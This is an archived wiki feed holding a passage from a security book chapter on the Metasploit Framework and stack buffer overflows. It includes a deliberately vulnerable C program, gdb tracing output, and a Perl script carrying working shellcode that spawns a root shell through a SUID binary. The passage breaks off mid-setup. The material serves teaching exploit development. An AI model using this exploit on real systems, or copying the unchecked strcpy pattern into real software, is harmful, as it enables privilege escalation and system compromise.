<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/css" href="http://commons.oreilly.com/wiki/skins/common/feed.css?97"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Modules_for_the_Metasploit_Framework&amp;action=history&amp;feed=atom</id>
		<title>Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework - Revision history</title>
		<link rel="self" type="application/atom+xml" href="http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Modules_for_the_Metasploit_Framework&amp;action=history&amp;feed=atom"/>
		<link rel="alternate" type="text/html" href="http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Modules_for_the_Metasploit_Framework&amp;action=history"/>
		<updated>2013-05-24T19:47:15Z</updated>
		<subtitle>Revision history for this page on the wiki</subtitle>
		<generator>MediaWiki 1.11.0</generator>

	<entry>
		<id>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Modules_for_the_Metasploit_Framework&amp;diff=9247&amp;oldid=prev</id>
		<title>Docbook2Wiki: Initial conversion from Docbook</title>
		<link rel="alternate" type="text/html" href="http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Modules_for_the_Metasploit_Framework&amp;diff=9247&amp;oldid=prev"/>
				<updated>2008-03-11T22:54:01Z</updated>
		
		<summary type="html">&lt;p&gt;Initial conversion from Docbook&lt;/p&gt;

			&lt;table style=&quot;background-color: white; color:black;&quot;&gt;
			&lt;col class='diff-marker' /&gt;
			&lt;col class='diff-content' /&gt;
			&lt;col class='diff-marker' /&gt;
			&lt;col class='diff-content' /&gt;
			&lt;tr&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black;&quot;&gt;←Older revision&lt;/td&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black;&quot;&gt;Revision as of 22:54, 11 March 2008&lt;/td&gt;
			&lt;/tr&gt;
		&lt;/table&gt;</summary>
		<author><name>Docbook2Wiki</name></author>	</entry>

	<entry>
		<id>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Modules_for_the_Metasploit_Framework&amp;diff=8333&amp;oldid=prev</id>
		<title>Docbook2Wiki: Initial conversion from Docbook</title>
		<link rel="alternate" type="text/html" href="http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Modules_for_the_Metasploit_Framework&amp;diff=8333&amp;oldid=prev"/>
				<updated>2008-03-11T21:39:00Z</updated>
		
		<summary type="html">&lt;p&gt;Initial conversion from Docbook&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Network Security Tools/TOC}}&lt;br /&gt;
The Metasploit project was started as a research group for security tool and exploit development. The group's most visible project is the Metasploit Framework (MSF), which is distributed as open source software by its main authors, Spoonm and HD Moore. The latest version of the framework at the time of this writing is 2.2, and you can download it for free at the group's web site, ''http://www.metasploit.com/''. MSF is a modular system of object-oriented Perl. The framework is written for rapid exploit development and to encourage advances in exploit code development. In this chapter we'll focus on MSF and how you can write your own proof-of-concept exploits. We'll discuss the basics of stack overflows, how the framework works, how to write modules to extend the framework's functionality, and how to write an exploit module using MSF.&lt;br /&gt;
&lt;br /&gt;
== Introduction to MSF ==&lt;br /&gt;
&lt;br /&gt;
MSF exists to provide a consistent and all-encompassing exploit development platform. This makes rapid exploit development possible for professionals and researchers. At its core, MSF provides an extensible API and interface for setting variable parameters on an exploit. You can reuse many components between exploits. Examples include payloads, payload handlers, NOP generators, protocol libraries, and encoding routines. MSF comes with a robust assortment of these core components to be reused in exploit development. To facilitate the goals of component reuse and rapid exploit development, all the components and exploits are written using Object-Oriented Perl (OOP) with dynamic loading. As shown later in this chapter, MSF's complex OOP foundation makes developing modules easier.&lt;br /&gt;
&lt;br /&gt;
MSF functions as a bridge between the abstract concept of a &amp;quot;remote exploit&amp;quot; and a user. These concepts are interfaced within the various MSF frontends. The frontends have the task of setting user-controllable parameters and launching exploit modules with complete control over how the exploit is run. MSF comes with three frontend programs to demonstrate the framework's flexibility. ''msfconsole'' is a fully interactive subshell interface that you can run from a shell interpreter such as ''bash'' or ''cmd.exe''. It is the preferred frontend and is used for all the examples in this chapter. The ''msfcli'' command-line interface is ideal for use in scripts. All options and parameters are supplied as arguments on the command line. The ''msfweb'' web server interface allows users to access the framework with a standard web browser.&lt;br /&gt;
&lt;br /&gt;
Another goal of the framework is portability. Because MSF is written in the Perl programming language and uses a minimal number of external modules, it works on a wide variety of operating systems.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
The framework download page, at ''http://www.metasploit.com/'', provides a compressed tar archive of the framework source that you can use as is with the Perl interpreters found on Linux/BSD/OSX. Also found on the download page is an installer for Windows. This installs a minimal version of the Cygwin API emulator as well as the framework source. As of MSF version 2.2, if you have previously installed Cygwin you cannot use MSF Cygwin concurrently with the previously installed Cygwin.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When you first look into the MSF install source directory, you will notice that MSF comes with a series of helper utilities that the framework authors provide to help in exploit development and MSF use. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-1|Table 5-1]] provides a brief description of the programs that come with MSF and explains what is found in the main directories. After extracting the source your first step should be to read the ''CrashCourse.html'' file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-TABLE-1&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 5-1. Main MSF files and directories'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! File or directory !! Description&lt;br /&gt;
|-&lt;br /&gt;
| ''data/'' || Contains files needed for specialized payloads.&lt;br /&gt;
|-&lt;br /&gt;
| ''docs/'' || The documentation directory. This should be your first stop for extensive documentation on how to use the frontends and the tools.&lt;br /&gt;
|-&lt;br /&gt;
| ''encoders/'' || Contains encoder modules that operate on the payloads. The encoders are usually target-architecture-dependent.&lt;br /&gt;
|-&lt;br /&gt;
| ''exploits/'' || Contains all the exploit modules that come with the framework.&lt;br /&gt;
|-&lt;br /&gt;
| ''extras/'' || Contains the &amp;lt;tt&amp;gt;Net-SSL&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;Term-ReadLine-Gnu&amp;lt;/tt&amp;gt; Perl modules. These are not necessary to run MSF, but they are required for SSL socket support and for advanced ''msfconsole'' features.&lt;br /&gt;
|-&lt;br /&gt;
| ''lib/'' || Contains the MSF core files.&lt;br /&gt;
|-&lt;br /&gt;
| ''msfcli'' || A command-line interface to the framework. All options and settings are passed as arguments to this program.&lt;br /&gt;
|-&lt;br /&gt;
| ''msfconsole'' || A text-based console interface to the framework, with tab completion and external command execution functionality.&lt;br /&gt;
|-&lt;br /&gt;
| ''msfdldebug'' || A helper utility that downloads debugging symbols for Microsoft Windows files.&lt;br /&gt;
|-&lt;br /&gt;
| ''msfencode'' || A helper utility for testing out the encoder modules. Using this will help you to understand how MSF deals with payload encoding.&lt;br /&gt;
|-&lt;br /&gt;
| ''msflogdump'' || A helper utility for analyzing the logs generated by the interface.&lt;br /&gt;
|-&lt;br /&gt;
| ''msfpayload'' || A helper utility for testing out the encoder payload.&lt;br /&gt;
|-&lt;br /&gt;
| ''msfpayload.cgi'' || A helper utility for testing out the encoder payload. You can move this into a CGI directory and execute it from a web browser.&lt;br /&gt;
|-&lt;br /&gt;
| ''msfpescan'' || A helper utility that finds opcode matches in a Windows PE executable. These opcodes are often used as return instructions when jumping to shellcode.&lt;br /&gt;
|-&lt;br /&gt;
| ''msfupdate'' || A helper utility that downloads updates to the framework over HTTPS.&lt;br /&gt;
|-&lt;br /&gt;
| ''msfweb'' || A web server interface accessible to multiple web browser clients.&lt;br /&gt;
|-&lt;br /&gt;
| ''nops/'' || Contains modules that generate &amp;quot;No operation&amp;quot; buffers that are used in exploits to increase their reliability.&lt;br /&gt;
|-&lt;br /&gt;
| ''payloads/'' || Contains modules that implement various actions a particular exploit can perform; for example, binding a shell to a TCP socket on the target host.&lt;br /&gt;
|-&lt;br /&gt;
| ''sdk/'' || A small tutorial on writing a module for a contrived vulnerability.&lt;br /&gt;
|-&lt;br /&gt;
| ''src/'' || Contains various payloads and assembly used in the framework.&lt;br /&gt;
|-&lt;br /&gt;
| ''tools/'' || Contains the helper tools ''Socket Ninja'' and ''memdump''. ''Socket Ninja'' is a multiplexing socket manager and ''memdump'' extracts memory segments from running Windows processes.&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Overview of Stack Buffer Overflows ==&lt;br /&gt;
&lt;br /&gt;
Security problems have always been an issue in software. From users abusing time-sharing operating systems in the '70s to the remote network compromises of the current day, software always has—and always will have—security bugs. Starting in the late 1980s a new type of software vulnerability known as ''overflows'' began to be exploited. Since then overflows have become the undisputed king of vulnerabilities, accounting for the majority of security advisories in the last 10 years.&lt;br /&gt;
&lt;br /&gt;
What follows is a brief refresher on stack-based buffer overflows and how you can exploit them. This section is intended as an overview only, so feel free to skip ahead if you already have a firm grasp on the subject.&lt;br /&gt;
&lt;br /&gt;
=== Memory Segments and Layout ===&lt;br /&gt;
&lt;br /&gt;
In general, today's operating systems (OSes) support two levels of protected memory areas in which processes can run: ''user space'' and ''kernel space''. The kernel space is where the core processes of the OS execute. The user space is where user-level processes—such as daemons—execute. A discussion of memory corruption attacks should focus on two areas: kernel space attacks and user-level processes. Kernel space attacks are beyond the scope of this chapter and really aren't what MSF was designed for, so we'll focus on user-space processes. Attacks against these processes can be generalized in local and remote attacks. MSF in general is used to exploit programs that listen for remote network connections, and in the example module later in this chapter, we'll focus on this kind of attack.&lt;br /&gt;
&lt;br /&gt;
Before discussing how to exploit process memory, it is necessary to understand how the virtual memory for user-level processes is organized. The following paragraphs discuss the Linux operating system on the x86 architecture. Many of the general concepts will apply to other operating systems and architectures.&lt;br /&gt;
&lt;br /&gt;
When the OS initializes a process, it maps five main virtual memory segments. Each segment has a specific purpose and can either have a fixed size or grow as needed. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-2|Table 5-2]] describes each standard&amp;quot; mmory segment in Linux. The code, data, and BSS segments are populated with information from the executable during process initialization. The heap and stack typically have fixed starting positions but then grow according to a program's instructions. It should be noted that wherever a static buffer exists in memory, it can overflow. However, our discussion will focus on stack segment buffer overflows, as they account for the majority of exploited overflows.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-TABLE-2&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 5-2. Relevant user-space virtual memory segments'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Segment name !! Description&lt;br /&gt;
|-&lt;br /&gt;
| Code || This segment contains the actual instructions the program will execute.&lt;br /&gt;
|-&lt;br /&gt;
| Data || This segment contains global and static variables with initialized values.&lt;br /&gt;
|-&lt;br /&gt;
| BSS || This segment contains global and static variables that are uninitialized.&lt;br /&gt;
|-&lt;br /&gt;
| Heap || This segment is for dynamic memory allocations.&lt;br /&gt;
|-&lt;br /&gt;
| Stack || This segment is a memory range for allocation of variables local to a function and is thus dynamic, depending on the function call tree.&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When the process has finished initialization, the segments will be ordered, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-1|Figure 5-1]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-FIG-1&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 5-1. Virtual memory layout of a process'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt192.png|Virtual memory layout of a process]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now that we've looked at and described the memory segments, let's see in exactly which segments the variables in our code will be located. Here is a C code snippet that illustrates the memory regions where the variables will be allocated when the program is run:&lt;br /&gt;
&lt;br /&gt;
 int global_initialized = 311;      //located in the data segment&lt;br /&gt;
 char global_uninitialized;         //located in the bss segment&lt;br /&gt;
 &lt;br /&gt;
 int main( ){&lt;br /&gt;
     int local_int;                         //located on the stack&lt;br /&gt;
     static char local_char;        //located in the bss segment&lt;br /&gt;
     char *local_ptr;               //located on the stack&lt;br /&gt;
     local_ptr =(char *)malloc(12); //local_ptr points to &lt;br /&gt;
                                    //a buffer located on the heap&lt;br /&gt;
     char buffer[12];               //entire buffer located on the stack&lt;br /&gt;
     return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
=== How a Buffer Overflows and Why It Matters ===&lt;br /&gt;
&lt;br /&gt;
A process can allocate memory using ''stack'' or ''heap'' segments. Heaps allow the allocation of memory dynamically using C functions such as &amp;lt;tt&amp;gt;malloc( )&amp;lt;/tt&amp;gt;, but with this comes the overhead of the OS's internal dynamic memory allocation routines. Stacks are more convenient for developers because the declaration syntax is simpler, and there is no overhead from dynamic memory allocation routines of the OS.&lt;br /&gt;
&lt;br /&gt;
A stack is a last-in-first-out (LIFO) queue. The common stack operators are &amp;lt;tt&amp;gt;push&amp;lt;/tt&amp;gt; (to add to the end of the stack) and &amp;lt;tt&amp;gt;pop&amp;lt;/tt&amp;gt; (to remove the last item placed on the stack). These operators are used on the Assembly level by instructions with the same name. The stack is 32 bits wide and usually has a static starting position. Its size is governed by the extended base pointer (EBP) and extended stack pointer (ESP) CPU registers, but it typically grows &amp;quot;down.&amp;quot; As it grows, the top of the stack (ESP) gets closer to the lowest virtual memory address, as in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-2|Figure 5-2]]. Also shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-2|Figure 5-2]] is the ESP register, which points to the top of the stack. The EBP register serves a special purpose, as it identifies the start of a stack frame by pointing to the bottom of the current stack frame. A ''stack frame'' is an area of memory that holds the local function variables as well as the arguments that were passed to the function that is executing. Stack frames are allocated by subtracting from the value of EBP and moving the bottom of the stack frame up the stack. The program performs these actions using a small series of Assembly instructions known as &amp;lt;tt&amp;gt;prolog&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;epilog&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-FIG-2&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 5-2. Key elements of the stack segment'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt194.png|Key elements of the stack segment]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When a new function is called, the address of the callee's next instruction is pushed onto the stack. This address is where the extended instruction pointer (EIP) should point when the called function returns control to the callee. Then the prolog pushes the callee function's EBP onto the stack and moves the EBP to point to the ESP. As seen in the code snippets in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-3|Table 5-3]], this creates a new stack frame where space for new local variables can be allocated by simply subtracting from ESP to grow the stack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-TABLE-3&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 5-3. An example C program and its x86 disassembly'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Example C program !! x86 disassembly&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 1&amp;amp;#124; void example( ){&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
  1&amp;amp;#124; example:&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 2&amp;amp;#124;      int i;&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
  2&amp;amp;#124; push   %ebp&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 3&amp;amp;#124; }&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
  3&amp;amp;#124; mov    %esp,%ebp&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 4&amp;amp;#124; int main( ){&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
  4&amp;amp;#124; sub    $0x4,%esp&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 5&amp;amp;#124;      example( );&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
  5&amp;amp;#124; leave&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 6&amp;amp;#124; }&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
  6&amp;amp;#124; ret&lt;br /&gt;
|-&lt;br /&gt;
|  || &lt;br /&gt;
|-&lt;br /&gt;
|  || &lt;br /&gt;
&lt;br /&gt;
  7&amp;amp;#124; main:&lt;br /&gt;
|-&lt;br /&gt;
|  || &lt;br /&gt;
&lt;br /&gt;
  8&amp;amp;#124; push   %ebp&lt;br /&gt;
|-&lt;br /&gt;
|  || &lt;br /&gt;
&lt;br /&gt;
  9&amp;amp;#124; mov    %esp,%ebp&lt;br /&gt;
|-&lt;br /&gt;
|  || &lt;br /&gt;
&lt;br /&gt;
 10&amp;amp;#124; sub    $0x8,%esp&lt;br /&gt;
|-&lt;br /&gt;
|  || &lt;br /&gt;
&lt;br /&gt;
 11&amp;amp;#124; call   0x8048310 &amp;lt;example&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|  || &lt;br /&gt;
&lt;br /&gt;
 12&amp;amp;#124; leave&lt;br /&gt;
|-&lt;br /&gt;
|  || &lt;br /&gt;
&lt;br /&gt;
 13&amp;amp;#124; ret&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-3|Table 5-3]] a new stack frame is created when a new function gets called. Because there are two functions, we'll have two stack frames. In the disassembly, it's possible to identify where new stack frames are created by looking for three things: the prolog, the epilog, and use of the &amp;lt;tt&amp;gt;call&amp;lt;/tt&amp;gt; instruction. Lines 8 and 9 of the disassembly show the prolog for the main function. Lines 2 and 3 show the prolog for the example function.&lt;br /&gt;
&lt;br /&gt;
As the main function starts, the prolog sets up the new stack frame. Then a new frame for the &amp;lt;tt&amp;gt;example&amp;lt;/tt&amp;gt; function begins on line 11. The &amp;lt;tt&amp;gt;call&amp;lt;/tt&amp;gt; instruction pushes a pointer to the next instruction onto the top of the stack. Once in the &amp;lt;tt&amp;gt;example&amp;lt;/tt&amp;gt; function, the function's prolog generates the next stack frame. On line 4, the stack size is adjusted by 4 bytes; this is the space needed to store the integer variable &amp;lt;tt&amp;gt;i&amp;lt;/tt&amp;gt;. Finally, the &amp;lt;tt&amp;gt;example&amp;lt;/tt&amp;gt; function's epilog executes on lines 5 and 6. It essentially reverses the actions of the prolog and erases the stack frame.&lt;br /&gt;
&lt;br /&gt;
The epilog is important because the &amp;lt;tt&amp;gt;ret&amp;lt;/tt&amp;gt; instruction returns control to the calling function. It sets the new instruction pointer based on the value stored on the stack during the call instruction. This is the key to what makes stack overflows so dangerous. Pointers that influence program flow are located on the stack. If these pointers can be overwritten, we can gain control of the program's execution.&lt;br /&gt;
&lt;br /&gt;
Here is a sample C code snippet that takes one user-controlled input and copies it to a fixed-size stack buffer:&lt;br /&gt;
&lt;br /&gt;
 /* vuln.c */&lt;br /&gt;
 int main(int argc, char **argv){&lt;br /&gt;
     char fixed_buf[8];&lt;br /&gt;
     if(argc&amp;lt;2){exit(-1);}&lt;br /&gt;
     strcpy(fixed_buf,argv[1]);&lt;br /&gt;
     return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
In the following section, the program will be compiled and traced with a debugger to show the overflow process in action. By using a program argument of &amp;lt;tt&amp;gt;AAAAAAAABBBBCCCC&amp;lt;/tt&amp;gt;, we can see how saved EIP (sEIP) is overwritten. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-3|Figure 5-3]] shows the stack frame before and after &amp;lt;tt&amp;gt;strcpy( )&amp;lt;/tt&amp;gt; to illustrate the stack's status after the overwrite. Note that the ASCII codes for the characters A, B, and C are 0x41, 0x42, and 0x43, respectively. Also notice that the sEIP is being overwritten with values we control!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-FIG-3&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 5-3. The stack frame and setup before and after strcpy'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt215.png|The stack frame and setup before and after strcpy]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;warning&amp;quot;&amp;gt;&lt;br /&gt;
'''Warning'''&lt;br /&gt;
&lt;br /&gt;
Some compilers align stack buffers differently; depending on your compiler it might take more input to fully overwrite the sEIP with the example value &amp;lt;tt&amp;gt;0x43434343&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellcode ===&lt;br /&gt;
&lt;br /&gt;
The good news is that now we have a way of controlling program flow. At this point we need what is commonly referred to as ''shellcode'' . Shellcode is a set of assembly instructions in which program flow can be redirected and perform some functionality. The term &amp;quot;shellcode&amp;quot; was coined to reflect the fact that it contains Assembly instructions that execute a shell (command interpreter), often at higher privilege levels. But where should we place this shellcode? Because we already used our user input buffer to take control of EIP, there is no reason we can't use the same buffer to serve a dual purpose by also including the shellcode directly in the buffer. Because this overflow is occurs in a C-style string, we should write the shellcode to avoid the &amp;lt;tt&amp;gt;NULL&amp;lt;/tt&amp;gt; delimiting byte.&lt;br /&gt;
&lt;br /&gt;
In an ideal world of exploitation, the top of the stack wouldn't move and we could jump to this known location every time. But in the real world of remote exploits many factors affect where the top of the stack will be on program return, so we need a solution for dealing with these variations in where our shellcode will lie.&lt;br /&gt;
&lt;br /&gt;
One way of dealing with this problem is to use what is commonly known as a ''NOP sled'' . The NOP assembly instruction performs &amp;quot;no operation.&amp;quot; It basically does nothing and has no effect on any CPU registers or flags. What is good about this is that we can prepend our shellcode with a buffer that consists solely of the bytes that represent the NOP instruction; on x86 architecture this is 0x90. This technique compensates for the stack's unpredictability by changing program flow to anywhere within the NOP sled, and the execution will continue up the buffer until it hits the shellcode.&lt;br /&gt;
&lt;br /&gt;
Putting together the concepts we learned so far, we now can construct user input to take control of program execution and run arbitrary shellcode. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-4|Figure 5-4]] shows what our final buffer for the first program argument will look like.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-FIG-4&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 5-4. Final construction of the input buffer'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt216.png|Final construction of the input buffer]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The known values in this buffer are the shellcode and the NOP sled. For local exploits such as this one, you should use a shellcode that does &amp;lt;tt&amp;gt;setuid( )&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;exec( )&amp;lt;/tt&amp;gt; to spawn the new root-level shell. The aforementioned &amp;lt;tt&amp;gt;\x90&amp;lt;/tt&amp;gt; character will be used to fill the NOP sled. In our example, the values to be used for the &amp;quot;filler space&amp;quot; buffer can be arbitrary printable ASCII, so we'll use the character A. The final unknown is the ''new EIP value—''that is, the memory location we hope will be within our NOP sled. This new EIP value is commonly known as the''return'' . To find it, use a debugger to examine the process memory after using a trace buffer to trigger the vulnerability. We construct a trace buffer so that it is visually easier to find key areas of buffer in memory.&lt;br /&gt;
&lt;br /&gt;
First, compile the executable with debugging symbols:&lt;br /&gt;
&lt;br /&gt;
 $ '''gcc vuln.c -o vuln -g'''&lt;br /&gt;
                &lt;br /&gt;
&lt;br /&gt;
Next, run the ''gdb'' debugger. Once in the ''gdb'' shell, run the program with a simple trace buffer generated from the command line using Perl:&lt;br /&gt;
&lt;br /&gt;
 $ '''gdb -q vuln'''&lt;br /&gt;
 (gdb) '''run `perl -e 'print &amp;quot;A&amp;quot;x28 . &amp;quot;1234&amp;quot; . &amp;quot;C&amp;quot;x1024'`'''&lt;br /&gt;
 Starting program: /home/cabetas/research/book/vuln `perl -e &lt;br /&gt;
 'print &amp;quot;A&amp;quot;x28 . &amp;quot;1234&amp;quot; . &amp;quot;C&amp;quot;x1024'`&lt;br /&gt;
 &lt;br /&gt;
 Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
 0x34333231 in ?? ( )&lt;br /&gt;
 (gdb) x/x $esp&lt;br /&gt;
 0xbfff8d60:     0x43434343&lt;br /&gt;
 (gdb) x/x $esp+1020&lt;br /&gt;
 0xbfff915c:     0x43434343&lt;br /&gt;
 (gdb) print ($esp+512)&lt;br /&gt;
 $1 = (void *) 0xbfff8f60&lt;br /&gt;
&lt;br /&gt;
Note that the buffer's structure is modeled after what our eventual exploit buffer will look like, with the bytes &amp;lt;tt&amp;gt;1234&amp;lt;/tt&amp;gt; directly overwriting the sEIP and the &amp;lt;tt&amp;gt;C&amp;lt;/tt&amp;gt;s representing where our NOP sled will be. Also note that in this example the compiler aligned my buffer in such a way that it took 28 bytes before overwriting sEIP.&lt;br /&gt;
&lt;br /&gt;
The program generates a segmentation fault, which signifies that it attempted to access an unmapped area of memory. This memory location is 0x34333231, the ASCII code equivalent of 4321.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;sidebar&amp;quot;&amp;gt;&lt;br /&gt;
'''Little-Endian Memory Values'''&lt;br /&gt;
&lt;br /&gt;
Why did our sEIP overwrite come out backward from our input? The answer has to do with how memory values are stored on x86 architectures. The little-endian format stores values in reverse byte order. For our example, the overwritten value of &amp;lt;tt&amp;gt;1234&amp;lt;/tt&amp;gt; becomes &amp;lt;tt&amp;gt;0x34333231&amp;lt;/tt&amp;gt; in little-endian order and &amp;lt;tt&amp;gt;0x31323334&amp;lt;/tt&amp;gt; in big-endian order. The byte values remain the same, but they are switched so that the most significant byte is written first.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After the program crashes, examine the memory located at the stack pointer (ESP). You'll notice it points to byte values that represent the letter C. If you examine the memory before and after ESP you'll see the buffer actually starts here and the last four-byte block is located at &amp;lt;tt&amp;gt;$esp+1020&amp;lt;/tt&amp;gt;. Because this is where we will eventually place our NOP sled, we want to find a value within this range. We will use the &amp;lt;tt&amp;gt;$esp+512&amp;lt;/tt&amp;gt; value because it's the midpoint of the buffer, and it has the highest chance of success. Now we have the new EIP value that the exploited program will return to: &amp;lt;tt&amp;gt;0xbfff8f60&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Putting It All Together: Exploiting a Program ===&lt;br /&gt;
&lt;br /&gt;
All the elements of our exploit buffer are in place: the filler, the new EIP the program will return to, the NOP sled, and our shellcode. It's time to try it out from the command line outside the debugger. Here is a Perl script that generates an exploit buffer using the previously discussed values. Note that the &amp;lt;tt&amp;gt;pack( )&amp;lt;/tt&amp;gt; function handles the little-endian conversion:&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/perl&lt;br /&gt;
 # File: exploit_buffer.pl&lt;br /&gt;
 my $shellcode = &amp;quot;\x31\xc0\x31\xdb\xb0\x17\xcd\x80&amp;quot;.&lt;br /&gt;
                 &amp;quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&amp;quot;.&lt;br /&gt;
                 &amp;quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&amp;quot;.&lt;br /&gt;
                 &amp;quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&amp;quot;;&lt;br /&gt;
 my $return = 0xbfff8f60;&lt;br /&gt;
 print &amp;quot;A&amp;quot;x28 . pack('V',$return) . &amp;quot;\x90&amp;quot;x1024 . $shellcode;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;chown&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;chmod&amp;lt;/tt&amp;gt; commands are used to set up our example program as a set user ID (SUID) application. These commands cause the program to be executed at the root user's privilege level. This is done to demonstrate the effect of an exploited SUID root program in the wild.&lt;br /&gt;
&lt;br /&gt;
 $ '''su'''&lt;br /&gt;
 Password:&lt;br /&gt;
 # '''chown root:root ./vuln'''&lt;br /&gt;
